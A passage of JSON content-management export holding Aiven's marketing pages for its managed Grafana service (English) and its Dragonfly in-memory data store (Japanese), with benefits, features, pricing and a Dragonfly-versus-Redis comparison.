work?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"a1bd0315eee6","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"15c9e8375bd8","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"grafana"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4fb5c3d32372","_type":"block","children":[{"_key":"d6315ac27bed0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? We’ll take care of them for you. With no interruptions or downtime. Ever."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Grafana comes with all-inclusive pricing. No hidden fees or charges – just one payment that covers everything you need."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"5d7c4d5ec748","_type":"iconItem","cta":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/grafana/reference/plugins","title":"Read more"},"iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3646150a7b8c","_type":"block","children":[{"_key":"5cded86c159b0","_type":"span","marks":[],"text":"Connect the dots between your external data sources – and personalize how you visualize that data – with support for 60+ plugins."}],"markDefs":[],"style":"normal"}],"title":"Over 60 data source and panel plugins."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"ed61a7f97c39","_type":"block","children":[{"_key":"8ff746af87f50","_type":"span","marks":[],"text":"With Aiven for Grafana, you can set up a monitoring solution for your system health or your business metrics in just a few clicks. Pre-built dashboards make monitoring Aiven data services easy, so you can keep an eye on your system health, and set alerts for anything out of the ordinary."}],"markDefs":[],"style":"normal"},{"_key":"e0e23e3e9a16","_type":"block","children":[{"_key":"79f65e16e3e70","_type":"span","marks":[],"text":"One-click integration to data in Aiven services makes it simple to build business dashboards. And if this isn’t enough, we provide more additional data source and dashboard plugins than any other provider."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Grafana® as-a-service from Aiven","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"de01a90b6252","_type":"block","children":[{"_key":"d8a8c9a6bc3d0","_type":"span","marks":[],"text":"Gather all the metrics from remote sources such as IoT devices or sensors, and visualize all the information on one or more dashboards. With at-a-glance overviews of data points over time, it’s easier to identify trends and make informed business decisions."}],"markDefs":[],"style":"normal"}],"title":"Telemetry visualization","variant":"default"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"2c2b43d6474c","_type":"block","children":[{"_key":"d4749a24ca540","_type":"span","marks":[],"text":"Effective observability offers granular insights into your whole system, helping to ensure it remains healthy at all times. "},{"_key":"c63495674121","_type":"span","marks":["3d32a71cb84e"],"text":"Find out how Aiven built our own observability platform"},{"_key":"07d9395d73dc","_type":"span","marks":[],"text":" – using M3, Grafana and OpenSearch – to help us maintain our 99.99% uptime promise."}],"markDefs":[{"_key":"3d32a71cb84e","_type":"internalLink","internalLink":{"_ref":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_type":"reference"}}],"style":"normal"}],"title":"Observability","variant":"default"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"40d1ccec97dd","_type":"block","children":[{"_key":"f7e278b0078e0","_type":"span","marks":[],"text":"With Grafana as a business monitoring tool, it’s easy to set up dashboards with metrics monitoring for individual teams or departments. Grafana can help teams optimize performance through actionable information, regardless of their technical skill sets."}],"markDefs":[],"style":"normal"}],"title":"Business metrics","variant":"default"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use Grafana"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for Grafana®","variant":"centerColumn"},{"_key":"a6375dbff30e","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Set up","text":[{"_key":"a2cc0f973f65","_type":"block","children":[{"_key":"7d28ff98af500","_type":"span","marks":[],"text":"Production-ready Grafana clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0862d87b90ac","_type":"block","children":[{"_key":"d4c3ee1ef2cc0","_type":"span","marks":[],"text":"Deploy to the cloud of your choice – 5 public clouds and +100 regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"52376e9c2f7c","_type":"block","children":[{"_key":"7b7e3fa0ddbe0","_type":"span","marks":[],"text":"High performance nodes based on carefully selected instance types"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3bac51a11dc8","_type":"link","href":"https://developer.aiven.io/docs/platform/concepts/byoa"}],"style":"normal"},{"_key":"183194024e63","_type":"block","children":[{"_key":"54c601a68a411","_type":"span","marks":["3bac51a11dc8"],"text":"Bring-your-own-account (BYOC)"},{"_key":"54c601a68a412","_type":"span","marks":[],"text":" deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3bac51a11dc8","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft","ytId":"62KVq5QUuZE"},{"_key":"82c0cc6e9e97","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"6c5bdb6fb357","_type":"block","children":[{"_key":"5e7cae2c63470","_type":"span","marks":[],"text":"One-click integration to Aiven services, and easy monitoring with pre-built dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"379ef0dc2d92","_type":"block","children":[{"_key":"9a3b328c28ed0","_type":"span","marks":[],"text":"Monitor the health of your Aiven services with pre-built dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"160de34c2326","_type":"block","children":[{"_key":"8c0894203db00","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"8c0894203db01","_type":"span","marks":["3dc5be14555b"],"text":"VPC peering"},{"_key":"8c0894203db02","_type":"span","marks":[],"text":", "},{"_key":"8c0894203db03","_type":"span","marks":["3935fbd16f37"],"text":"PrivateLink"},{"_key":"8c0894203db04","_type":"span","marks":[],"text":" , or TransitGateway technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3dc5be14555b","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"3935fbd16f37","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"7888e008c598","_type":"block","children":[{"_key":"725889d351340","_type":"span","marks":["dd35e7edc145"],"text":"Integrate"},{"_key":"a10fe0b72d2d","_type":"span","marks":[],"text":" with your favorite logs management solutions — from OpenSearch to Google Cloud Logging, and more"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"dd35e7edc145","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"0a02f8fed978","_type":"block","children":[{"_key":"37522f0858c40","_type":"span","marks":[],"text":"Include your Aiven infrastructure in your "},{"_key":"37522f0858c41","_type":"span","marks":["dcbcf4f52095"],"text":"Terraform"},{"_key":"37522f0858c42","_type":"span","marks":[],"text":" tooling to easily build, configure and manage your Aiven services."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"dcbcf4f52095","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight","ytId":"MGNsD5zxnkw"},{"_key":"e9e210ccd022","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e9e92dbc7d3923affd0b59749c5a528e0e4da617-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"fdf602cf41eb","_type":"block","children":[{"_key":"4e7f8eb625f90","_type":"span","marks":[],"text":"Ready-made dashboards for a fast and flexible solution to monitoring"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ea76df71bb3e","_type":"block","children":[{"_key":"bb48be18a78d0","_type":"span","marks":[],"text":"60+ advanced panel and data source plugins available"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ae60c286eda9","_type":"block","children":[{"_key":"4fb4e15774140","_type":"span","marks":[],"text":"Create monitoring solutions for all your teams"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"408f236bd784","_type":"block","children":[{"_key":"326a546d06600","_type":"span","marks":[],"text":"Implement an observability platform with alerting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"An all-seeing eye for your metrics and more","variant":"mediaLeft"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Start building your monitoring environment now","variant":"centerColumn"},{"_key":"2336e5d76b95daf2fcd6adce681b93ae","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},"subtitle":[{"_key":"4138441937fe","_type":"block","children":[{"_key":"5cc75359b380","_type":"span","marks":[],"text":"Once you connect Grafana to your Aiven services, you’re good to go. All-inclusive pricing means you never get end-of-the-month surprises. And there’s no add-on maintenance, networking, or storage fees."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Plug it in. Pay as you go.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"2e0df94c0cd0","_ref":"bde787fb-271e-47a6-94e2-3698776780c6","_type":"reference"},{"_key":"82521a67a06a","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"99a11fa87338","_ref":"0b77eaf5-e527-4e87-b5cf-f8162e087aee","_type":"reference"},{"_key":"e0617e00aa17","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=grafana\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"d90f5f23d3bb","_type":"block","children":[{"_key":"1252f19eb7520","_type":"span","marks":[],"text":"Starting at just $35 a month. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Compare plans","variant":"default"}],"rounded":false,"subtitle":[{"_key":"a6349ddc2dd9","_type":"block","children":[{"_key":"5858c7c6b3960","_type":"span","marks":[],"text":"Once you connect Grafana to your Aiven services, you’re good to go. All-inclusive pricing means you never get end-of-the-month surprises. And there’s no add-on maintenance, networking, or storage fees."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Grafana® pricing: Plug it in. Pay as you go."},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/grafana","title":"Go to docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"32bd69664981","_type":"block","children":[{"_key":"0909938ae4ee0","_type":"span","marks":[],"text":"Getting started with Aiven for Grafana, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"a052dda950b7","_ref":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_type":"reference"},{"_key":"b95e60bc686a","_ref":"a1068636-7bcf-4cf3-96d1-62d4db7b91f7","_type":"devArticle"}],"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for Grafana®"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Grafana® – Fully managed analytics \u0026 monitoring solution ✓ Deployable in the cloud of your choice ✓ Easy integration ✓ Free trial","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a225399b4a5868335a9f9227296a1165ad36b6ff-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Grafana®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Grafana, Grafana as a Service, Cloud Grafana\",\n \"description\": \"Aiven for Grafana helps you gain new insights into your data by allowing you to create graph dashboards from many different data sources in real-time; available on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Terraform support, Automatic configuration with REST API, Command line tooling, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/grafana\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source metrics analytics, visualization, and alerting suite\",\n \"applicationSubCategory\": \"General purpose dashboard and graph composer\"\n}","metaTitle":"Fully managed, hosted Grafana® | Aiven"},"service":{"_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},"slug":{"_type":"slug","current":"/grafana"},"title":"Grafana"} {"__i18n_base":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2024-02-12T14:27:19Z","_id":"068b5598-f4e4-416e-9357-f797ca9348f8__i18n_ja","_rev":"HcXHPgYq0r9EWbp2BQQh9o","_type":"product","_updatedAt":"2024-03-20T06:50:54Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Dragonfly","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"description":[{"_key":"15b95752ede5","_type":"block","children":[{"_key":"14302e7d77480","_type":"span","marks":[],"text":"Aiven for Dragonflyは、ハイパフォーマンスなRedisとMemcachedワークロード向けの大規模インメモリデータストアです。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-1e387105c2f5fec0149cf51456c935618261e184-3333x2369-png","_type":"reference"}},"imageSize":"large","isImageLarge":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料トライアルを開始する"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/dragonfly","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Dragonfly","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"logoLink":{"_type":"link","externalUrl":"https://aiven.io/ja/dragonfly","title":"Aiven for Dragonfly"},"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料トライアルを開始する"},"title":"Aiven for Dragonfly"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"リソース:"},{"_key":"ebe437864dcc","_type":"span","marks":["a29742c95edc"],"text":"Aiven for Dragonfly (ドキュメント)"}],"markDefs":[{"_key":"a29742c95edc","_type":"link","href":"https://aiven.io/docs/products/dragonfly"}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"1a70a4ba58d7","_type":"block","children":[{"_key":"c46da5244c4d0","_type":"span","marks":[],"text":"Aiven for Dragonfly は、低レイテンシで動作するインメモリデータベースであり、大規模な Redis ワークロード向けの高パフォーマンスを実現するように設計されています。キャッシュやソーシャルメディア、オンラインゲームのようなリアルタイムアプリケーションに最適です。"}],"markDefs":[],"style":"normal"},{"_key":"d5584bfd828c","_type":"block","children":[{"_key":"ee3ca43c3bd60","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"636a5bab3977","_type":"block","children":[{"_key":"90aaf36bb4dc0","_type":"span","marks":[],"text":"Aiven for Dragonfly は、高可用性を実現するために永続化とレプリケーションをサポートしています。さらに、JSON ドキュメントやベクトル検索など、高度な Redis 機能にも対応しています。"}],"markDefs":[],"style":"normal"},{"_key":"6637396e9e4c","_type":"block","children":[{"_key":"029b86f2e0540","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"2326759c7cd4","_type":"block","children":[{"_key":"3751b80caa210","_type":"span","marks":[],"text":"Aiven for Dragonfly は、主要クラウド全てで利用できるマネージドサービスです。99.99% の稼働率SLA(Service Level Agreement)を保証しており、バックアップやセキュリティパッチなどのメンテナンスタスクを自動的に処理します。アップグレード、データベースのフォーク (複製)、さらにはクラウド間の切替えも、ほぼダウンタイムなしで簡単に実行できます。"}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"af01bebd4394","_type":"block","children":[{"_key":"a8c5365f754e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Dragonflyでできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"redis"},{"_key":"18624ef60068","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"59b362ea9427","_type":"block","children":[{"_key":"3c91606487f4","_type":"span","marks":["strong"],"text":"Aiven for Dragonfly"},{"_key":"efafca12de5d","_type":"span","marks":[],"text":"と"},{"_key":"73b9e6c761f1","_type":"span","marks":["strong","ec69092ba1b6"],"text":"Aiven for Redis"},{"_key":"ce78e92735b7","_type":"span","marks":[],"text":"は、どちらもRedisアプリケーションの要求に応えるように設計された強力なソリューションです。最高のパフォーマンスとスケーラビリティが必要な場合は、Aiven for Dragonflyが最適な選択です。コスト効率とシンプルさを重視する軽負荷のワークロードに対しては、オープンソースRedisをベースにした堅牢で手頃なAiven for Redisが最適です。"}],"markDefs":[{"_key":"ec69092ba1b6","_type":"internalLink","internalLink":{"_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"8dbb1d1ae72f","_type":"table","rows":[{"_key":"f3122ae6-b7e6-40d9-917b-f04d8bff3e89","_type":"tableRow","cells":["","Aiven for Dragonfly","Aiven for Redis"]},{"_key":"d69a384a-24cf-4158-97a8-ae839661221b","_type":"tableRow","cells":["メモリ容量 (ストレージ)","1インスタンスあたり最大1TB以上のデータをサポート","必要なパフォーマンスに応じて100GB以上にスケーリング"]},{"_key":"b460c28e-6338-4737-b5cd-665a7ebd8445","_type":"tableRow","cells":["スループット","70,000QPSを超えるワークロード向けに構築","70,000QPS以下のワークロードに適切"]},{"_key":"7de8fad8-f474-4de9-8b9b-d952d9441903","_type":"tableRow","cells":["機能","オープンソースのRedisの全機能に加え、JSONのサポートとベクトル検索も提供","完全なオープンソースRedis体験を提供"]},{"_key":"1c93a2e3-38ad-41e0-89bf-ff59c4a77667","_type":"tableRow","cells":["その他","Memcached互換性",""]}]}],"tagline":"ニーズに最適なソリューションを選択","title":"Aiven for DragonflyとAiven for Redisの比較","variant":"centerColumn"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7d776d17d29d","_type":"block","children":[{"_key":"fe0d38fa63d60","_type":"span","marks":[],"text":"Aiven for Dragonflyは、最新のハードウェアをフル活用するために開発されました。エンタープライズ規模のワークロード処理を想定しており、 1インスタンス当たり最大1TB以上のデータをサポートし、 1秒あたり 50万件を超えるリクエストを処理できます。このため、リアルタイムアプリケーションに最適なソリューションです。"}],"markDefs":[],"style":"normal"}],"title":"エンタープライズ規模のワークロード"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bc2be9433528","_type":"block","children":[{"_key":"1efba868ec560","_type":"span","marks":[],"text":"Aiven for Dragonflyは、最新のハードウェアとコンピューティングリソースを活用することで、インフラコストを大幅に削減します。これにより、Aiven for Dragonflyは、パフォーマンスを犠牲にすることなく、高スループットとコスト削減を求める組織にとって理想的な選択肢となります。"}],"markDefs":[],"style":"normal"}],"title":"コスト効率の高い高スループット"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"70fb0ded6a84","_type":"block","children":[{"_key":"6222c66073ee0","_type":"span","marks":[],"text":"Aiven for Dragonflyは、オープンソースのRedisおよびMemcachedの完全互換ソリューションとして、アプリケーションのシームレスな移行を実現します。Redis/Memcached APIとの互換性と直感的な移行ツールにより、Aiven for Dragonflyは既存のインフラストラクチャやアプリケーションへの統合が容易です。"}],"markDefs":[],"style":"normal"}],"title":"簡単な移行"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8e91d7defe37","_type":"block","children":[{"_key":"52adbace1d650","_type":"span","marks":[],"text":"Aiven for Dragonflyは、ローリングソフトウェアアップグレード、自動バックアップ、マルチアベイラビリティゾーンフェイルオーバー、99.99%のSLA、エンタープライズグレードの監視、24時間365日のプロアクティブサポートを提供します。"}],"markDefs":[],"style":"normal"}],"title":"信頼性の高い運用、ほぼゼロのダウンタイム"}],"id":"benefits","noSpaceBottom":false,"rounded":false,"subtitle":[{"_key":"8cf42438ae1c","_type":"block","children":[{"_key":"8dc8e241f8f60","_type":"span","marks":[],"text":"Aivenのフルマネージドサービスなら、Dragonflyのすべての機能を利用でき、インフラストラクチャの煩わしさから解放されます。"}],"markDefs":[],"style":"normal"},{"_key":"7405548cefb6","_type":"block","children":[{"_key":"3ef3211457720","_type":"span","marks":[],"text":"Aivenはサービスのセットアップを簡単にするため、Aiven for Dragonflyをわずか数分でデータパイプラインに組み込むことができ、すぐに開発に取り掛かることができます。インストール、管理、アップデートはすべてAivenが行い、豊富なツールと統合機能をすぐにご利用いただけます。"}],"markDefs":[],"style":"normal"},{"_key":"10a05d6886e5","_type":"block","children":[{"_key":"7d608972eedb","_type":"span","marks":[],"text":"Aiven for Dragonflyを利用すれば、高可用性、パフォーマンス、スケーラビリティに優れたデータベースを、同じように高可用性、パフォーマンス、スケーラビリティに優れた基盤上で運用できます。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for Dragonflyサービスのメリット"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"842ac8adc7a6","_type":"block","children":[{"_key":"db49e1a89e700","_type":"span","marks":[],"text":"Dragonfly を用いたキャッシュ は、スケーラビリティに優れた高速キャッシュを実現します。 Aiven for Dragonfly は、1秒あたり数十万件の処理をミリ秒未満の待ち時間で実行できるため、キャッシュ利用に最適です。"}],"markDefs":[],"style":"normal"}],"title":"キャッシュによるパフォーマンス向上","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"3220c862a513","_type":"block","children":[{"_key":"09a8196540ee0","_type":"span","marks":[],"text":"最新の AI アプリケーションはベクトル類似検索を必要とし、Dragonfly Search はまさにそのニーズを満たします。高スループット、低レイテンシのインメモリデータベースのパフォーマンスを AI 